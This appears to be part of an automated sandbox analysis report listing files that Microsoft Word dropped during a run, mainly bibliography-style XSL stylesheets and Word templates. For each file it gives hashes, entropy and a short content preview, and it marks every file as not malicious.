Preview:	<?xml version="1.0" encoding="utf-8"?>....<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">.. <xsl:output method="html" encoding="us-ascii"/>.... <xsl:template match="*" mode="outputHtml2">.. <xsl:apply-templates mode="outputHtml"/>.. </xsl:template>.... <xsl:template name="StringFormatDot">.. <xsl:param name="format" />.. <xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.. <xsl:when test="$format = ''"></xsl:when>.. <xsl:when test="substring($format, 1, 2) = '%%'">.. <xsl:text>%</xsl:text>.. <xsl:call-template name="StringFormatDot">.. <xsl:with-param name="format" select="substring($format, 3)" />.. <xsl:with-param name=

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851217[[fn=chicago]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	296658
Entropy (8bit):	5.000002997029767
Encrypted:	false
SSDEEP:	6144:RwprAMk0qvtfL/vF/bkWPz9yv7EOMBPitjASjTQQr7IwR0TnyDkJb78plJwf33iV:M
MD5:	9AC6DE7B629A4A802A41F93DB2C49747
SHA1:	3D6E929AA1330C869D83F2BF8EBEBACD197FB367
SHA-256:	52984BC716569120D57C8E6A360376E9934F00CF31447F5892514DDCCF546293
SHA-512:	5736F14569E0341AFB5576C94B0A7F87E42499CEC5927AAC83BB5A1F77B279C00AEA86B5F341E4215076D800F085D831F34E4425AD9CFD52C7AE4282864B1E73
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>....<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851218[[fn=gb]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	268317
Entropy (8bit):	5.05419861997223
Encrypted:	false
SSDEEP:	6144:JwprAJLR95vtfb8p4bgWPzDCvCmvQursq7vImej/yQzSS1apSiQhHDOruvoVeMUh:N9
MD5:	51D32EE5BC7AB811041F799652D26E04
SHA1:	412193006AA3EF19E0A57E16ACF86B830993024A
SHA-256:	6230814BF5B2D554397580613E20681752240AB87FD354ECECF188C1EABE0E97
SHA-512:	5FC5D889B0C8E5EF464B76F0C4C9E61BDA59B2D1205AC9417CC74D6E9F989FB73D78B4EB3044A1A1E1F2C00CE1CA1BD6D4D07EEADC4108C7B124867711C31810
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851219[[fn=gostname]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	255948
Entropy (8bit):	5.103631650117028
Encrypted:	false
SSDEEP:	6144:gwprAm795vtfb8p4bgWPWEtTmtcRCDPThNPFQwB+26RxlsIBkAgRMBHcTCwsHe5a:kW
MD5:	9888A214D362470A6189DEFF775BE139
SHA1:	32B552EB3C73CD7D0D9D924C96B27A86753E0F97
SHA-256:	C64ED5C2A323C00E84272AD3A701CAEBE1DCCEB67231978DE978042F09635FA7
SHA-512:	8A75FC2713003FA40B9730D29C786C76A796F30E6ACE12064468DD2BB4BF97EF26AC43FFE1158AB1DB06FF715D2E6CDE8EF3E8B7C49AA1341603CE122F311073
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>............<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..........<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select=

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851220[[fn=gosttitle]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	251032
Entropy (8bit):	5.102652100491927
Encrypted:	false
SSDEEP:	6144:hwprA5R95vtfb8p4bgWPwW6/m26AnV9IBgIkqm6HITUZJcjUZS1XkaNPQTlvB2zr:JA
MD5:	F425D8C274A8571B625EE66A8CE60287
SHA1:	29899E309C56F2517C7D9385ECDBB719B9E2A12B
SHA-256:	DD7B7878427276AF5DBF8355ECE0D1FE5D693DF55AF3F79347F9D20AE50DB938
SHA-512:	E567F283D903FA533977B30FD753AA1043B9DDE48A251A9AC6777A3B67667443FEAD0003765A630D0F840B6C275818D2F903B6CB56136BEDCC6D9BDD20776564
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>......<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..........<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851221[[fn=harvardanglia2008officeonline]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	284415
Entropy (8bit):	5.00549404077789
Encrypted:	false
SSDEEP:	6144:N9G5o7Fv0ZcxrStAtXWty8zRLYBQd8itHiYYPVJHMSo27hlwNR57johqBXlwNR2b:y
MD5:	33A829B4893044E1851725F4DAF20271
SHA1:	DAC368749004C255FB0777E79F6E4426E12E5EC8
SHA-256:	C40451CADF8944A9625DD690624EA1BA19CECB825A67081E8144AD5526116924
SHA-512:	41C1F65E818C2757E1A37F5255E98F6EDEAC4214F9D189AD09C6F7A51F036768C1A03D6CFD5845A42C455EE189D13BB795673ACE3B50F3E1D77DAFF400F4D708
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>....<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt"......xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">.....<xsl:output method="html" encoding="us-ascii"/>.....<xsl:template match="/">....<xsl:call-template name="Start"/>...</xsl:template>.....<xsl:template name="Start">....<xsl:choose>.....<xsl:when test="b:Version">......<xsl:text>2010.2.02</xsl:text>.....</xsl:when>.......<xsl:when test="b:XslVersion">......<xsl:text>2008</xsl:text>.....</xsl:when>.... <xsl:when test="b:StyleNameLocalized">.. <xsl:choose>.. <xsl:when test="b:StyleNameLocalized/b:Lcid='1033'">.. <xsl:text>Harvard - Anglia</xsl:text>.. </xsl:when>.. <xsl:when test="b:StyleNameLocalized/b:Lcid='1025'">.. <xsl:text>Harvard - Anglia</xsl:text>.. </xsl:when>.. <x

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851222[[fn=ieee2006officeonline]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	294178
Entropy (8bit):	4.977758311135714
Encrypted:	false
SSDEEP:	6144:ydkJ3yU0orh0SCLVXyMFsoiOjWIm4vW2uo4hfhf7v3uH4NYYP4BpBaZTTSSamEUD:b
MD5:	0C9731C90DD24ED5CA6AE283741078D0
SHA1:	BDD3D7E5B0DE9240805EA53EF2EB784A4A121064
SHA-256:	ABCE25D1EB3E70742EC278F35E4157EDB1D457A7F9D002AC658AAA6EA4E4DCDF
SHA-512:	A39E6201D6B34F37C686D9BD144DDD38AE212EDA26E3B81B06F1776891A90D84B65F2ABC5B8F546A7EFF3A62D35E432AF0254E2F5BFE4AA3E0CF9530D25949C0
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>....<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt"......xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">.....<xsl:output method="html" encoding="us-ascii"/>.....<xsl:template match="/">....<xsl:call-template name="Start"/>...</xsl:template>.....<xsl:template name="Start">....<xsl:choose>.....<xsl:when test="b:Version">......<xsl:text>2010.2.02</xsl:text>.....</xsl:when>.......<xsl:when test="b:XslVersion">......<xsl:text>2006</xsl:text>.....</xsl:when>.. <xsl:when test="b:StyleNameLocalized">.. <xsl:choose>.. <xsl:when test="b:StyleNameLocalized/b:Lcid='1033'">.. <xsl:text>IEEE</xsl:text>.. </xsl:when>.. <xsl:when test="b:StyleNameLocalized/b:Lcid='1025'">.. <xsl:text>IEEE</xsl:text>.. </xsl:when>.. <xsl:when test="b:StyleNameL

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851223[[fn=iso690]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	270198
Entropy (8bit):	5.073814698282113
Encrypted:	false
SSDEEP:	6144:JwprAiaR95vtfb8pDbgWPzDCvCmvQursq7vImej/yQ4SS1apSiQhHDOruvoVeMUX:We
MD5:	FF0E07EFF1333CDF9FC2523D323DD654
SHA1:	77A1AE0DD8DBC3FEE65DD6266F31E2A564D088A4
SHA-256:	3F925E0CC1542F09DE1F99060899EAFB0042BB9682507C907173C392115A44B5
SHA-512:	B4615F995FAB87661C2DBE46625AA982215D7BDE27CAFAE221DCA76087FE76DA4B4A381943436FCAC1577CB3D260D0050B32B7B93E3EB07912494429F126BB3D
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851224[[fn=iso690nmerical]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	217137
Entropy (8bit):	5.068335381017074
Encrypted:	false
SSDEEP:	6144:AwprA3Z95vtf58pb1WP2DCvCmvQursq7vIme5QyQzSS1apSiQhHDlruvoVeMUwFj:4P
MD5:	3BF8591E1D808BCCAD8EE2B822CC156B
SHA1:	9CC1E5EFD715BD0EAE5AF983FB349BAC7A6D7BA0
SHA-256:	7194396E5C833E6C8710A2E5D114E8E24338C64EC9818D51A929D57A5E4A76C8
SHA-512:	D434A4C15DA3711A5DAAF5F7D0A5E324B4D94A04B3787CA35456BFE423EAC9D11532BB742CDE6E23C16FA9FD203D3636BD198B41C7A51E7D3562D5306D74F757
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..........<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>...... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$parame

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851225[[fn=mlaseventheditionofficeonline]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	254875
Entropy (8bit):	5.003842588822783
Encrypted:	false
SSDEEP:	6144:MwprAnniNgtfbzbOWPuv7kOMBLitjAUjTQLrYHwR0TnyDkHqV3iPr1zHX5T6SSXj:a
MD5:	377B3E355414466F3E3861BCE1844976
SHA1:	0B639A3880ACA3FD90FA918197A669CC005E2BA4
SHA-256:	4AC5B26C5E66E122DE80243EF621CA3E1142F643DD2AD61B75FF41CFEE3DFFAF
SHA-512:	B050AD52A8161F96CBDC880DD1356186F381B57159F5010489B04528DB798DB955F0C530465AB3ECD5C653586508429D98336D6EB150436F1A53ABEE0697AEB9
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>......<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>.....<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>...</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />......<xsl:variable name="prop_EndChars">.....<xsl:call-template name="templ_prop_EndChars"/>....</xsl:variable>......<xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$parameters" />......

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851226[[fn=turabian]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	344303
Entropy (8bit):	5.023195898304535
Encrypted:	false
SSDEEP:	6144:UwprANnsqvtfL/vF/bkWPRMMv7EOMBPitjASjTQQr7IwR0TnyDk1b78plJwf33iD:6
MD5:	F079EC5E2CCB9CD4529673BCDFB90486
SHA1:	FBA6696E6FA918F52997193168867DD3AEBE1AD6
SHA-256:	3B651258F4D0EE1BFFC7FB189250DED1B920475D1682370D6685769E3A9346DB
SHA-512:	4FFFA59863F94B3778F321DA16C43B92A3053E024BDD8C5317077EA1ECC7B09F67ECE3C377DB693F3432BF1E2D947EC5BF8E88E19157ED08632537D8437C87D6
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>......<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$pa

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851227[[fn=sist02]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	250983
Entropy (8bit):	5.057714239438731
Encrypted:	false
SSDEEP:	6144:JwprA6OS95vtfb8p4bgWPzkhUh9I5/oBRSifJeg/yQzvapSiQhHZeruvoXMUw3im:uP
MD5:	F883B260A8D67082EA895C14BF56DD56
SHA1:	7954565C1F243D46AD3B1E2F1BAF3281451FC14B
SHA-256:	EF4835DB41A485B56C2EF0FF7094BC2350460573A686182BC45FD6613480E353
SHA-512:	D95924A499F32D9B4D9A7D298502181F9E9048C21DBE0496FA3C3279B263D6F7D594B859111A99B1A53BD248EE69B867D7B1768C42E1E40934E0B990F0CE051E
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Building Blocks\1033\TM01840907[[fn=Equations]].dotx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	51826
Entropy (8bit):	5.541375256745271
Encrypted:	false
SSDEEP:	384:erH5dYPCA4t3aEFGiSUDtYfEbi5Ry/AT7/6tHODaFlDSomurYNfT4A0VIwWNS89u:Q6Cbh9tENyWdaFUSYNfZS89/3qtEu
MD5:	2AB22AC99ACFA8A82742E774323C0DBD
SHA1:	790F8B56DF79641E83A16E443A75A66E6AA2F244
SHA-256:	BC9D45D0419A08840093B0BF4DCF96264C02DFE5BD295CD9B53722E1DA02929D
SHA-512:	E5715C0ECF35CE250968BD6DE5744D28A9F57D20FD6866E2AF0B2D8C8F80FEDC741D48F554397D61C5E702DA896BD33EED92D778DBAC71E2E98DCFB0912DE07B
Malicious:	false
Preview:	PK.........R.@c}LN4...........[Content_Types].xml ...(.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................`.I.%&/m.{.J.J..t...`.$.@........iG#)...eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.....D....>.V...f-}..r9....=..Mn..U..5.(.....a...E..b......w.$...,O_fu."[P..WU=.;.....5..wdt..y1.......i.44-.r....;./.biG.Cd.n.j.{/......V....c..^^.E.H?H.........B.........<...Ae.l.]..{....mK......B....

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Building Blocks\1033\TM02835233[[fn=Text Sidebar (Annual Report Red and Black design)]].docx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	47296
Entropy (8bit):	6.42327948041841
Encrypted:	false
SSDEEP:	768:ftjI1BT8N37szq00s7dB2wMVJGHR97/RDU5naXUsT:fJIPTfq0ndB2w1bpsE
MD5:	5A53F55DD7DA8F10A8C0E711F548B335
SHA1:	035E685927DA2FECB88DE9CAF0BECEC88BC118A7
SHA-256:	66501B659614227584DA04B64F44309544355E3582F59DBCA3C9463F67B7E303
SHA-512:	095BD5D1ACA2A0CA3430DE2F005E1D576AC9387E096D32D556E4348F02F4D658D0E22F2FC4AA5BF6C07437E6A6230D2ABF73BBD1A0344D73B864BC4813D60861
Malicious:	false
Preview:	PK........<dSA4...T...P.......[Content_Types].xml ...(........................................................................................................................................................................................................................................................................................................................................................................................................................................`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`..^\-o..D....n_d.jq...gwg.t........:?/..}..Vu5...rQ..7..X.Q."./g..o....f....YB......<..w?...ss..e.4Y}}...0.Y...........u3V.o..r...5....7bA..Us.z.`.r(.Y>.&DVy.........6.T...e.\|..g.%<...9a.&...7...}3:B.......<...!...:..7w...y..

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Building Blocks\1033\TM03998158[[fn=Element]].dotx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	34415
Entropy (8bit):	7.352974342178997
Encrypted:	false
SSDEEP:	768:ev13NPo9o5NGEVIi3kvH+3SMdk7zp3tE2:ev13xoOE+R3BkR7
MD5:	7CDFFC23FB85AD5737452762FA36AAA0
SHA1:	CFBC97247959B3142AFD7B6858AD37B18AFB3237
SHA-256:	68A8FBFBEE4C903E17C9421082E839144C205C559AFE61338CBDB3AF79F0D270
SHA-512:	A0685FD251208B772436E9745DA2AA52BC26E275537688E3AB44589372D876C9ACE14B21F16EC4053C50EB4C8E11787E9B9D922E37249D2795C5B7986497033E
Malicious:	false
Preview:	PK.........Y5B#.W ............[Content_Types].xml ...(...................................................................................................................................................................................................................................................................................................................................................................................................................................................`.I.%&/m.{.J.J..t...`.$.@........iG#)...eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.....D....>.V...f-}..r9....=..Mn..U..5.(.....a...E..b......w.$...,O_fu."[P..WU=.;.....5..wdt..y1.......i.44-.r....;./.biG=.HK...........&o[B....z.7.o...&.......[.oL_7cuN..&e..ccAo...YW......8...Y>.&DVy...-&....Y.....4.u.., !po....9W....g..F...+1....d,'...L.M[-~.Ey. ......[

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Building Blocks\1033\TM03998159[[fn=Insight]].dotx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	3465076
Entropy (8bit):	7.898517227646252
Encrypted:	false
SSDEEP:	98304:n8ItVaN7vTMZ9IBbaETXbI8ItVaN7vTMZ9IBbaEiXbY:8ItwNX9BvTvItwNX9BvoM
MD5:	8BC84DB5A3B2F8AE2940D3FB19B43787
SHA1:	3A5FE7B14D020FAD0E25CD1DF67864E3E23254EE
SHA-256:	AF1FDEEA092169BF794CDC290BCA20AEA07AC7097D0EFCAB76F783FA38FDACDD
SHA-512:	558F52C2C79BF4A3FBB8BB7B1C671AFD70A2EC0B1BDE10AC0FED6F5398E53ED3B2087B38B7A4A3D209E4F1B34150506E1BA362E4E1620A47ED9A1C7924BB9995
Malicious:	false
Preview:	PK.........Y5B................[Content_Types].xml ...(.................................................................................................................................................................................................................................................................................................................................................................................................................................................`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`..^.....g.../i..b../..}.-......U.....o.7B.......}@[..4o...E9n..h...Y....D.%......F....g..-!.\|p.....7.pQVM.....B.g.-.7....:...d.2...7bA..Us.z.`.r..,.m."..n....s.O^.....fL.........7.....-...gn,J..iU..$.......i...(..dz.....3\|

C:\Users\user\AppData\Roaming\Microsoft\Templates\Normal.dotm (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	19357
Entropy (8bit):	7.468747851366246
Encrypted:	false
SSDEEP:	384:Jrt+BNxt/ZtNNUyf6eR4KUdMdri24FPWA9/aAL:VAxllNDf64K+WL
MD5:	E04716B0C866488A1825444D23939161
SHA1:	245643809CCE5FE466B22D775776D14435C3214D
SHA-256:	0CD28B8CEE9F5E0C87D5C3AFEF625612F6B63A5AAA3EA91B914F0CF7DBAF81BD
SHA-512:	F5B448B6E1E8362C992CAA1FAB6AD5D0ECFAE1CF21B3DB139F838A6E5808EE7E2152271DBF299945E4E2BA87ECC91402C39CCB43BC3764C05AFE260DE5E580F8
Malicious:	false
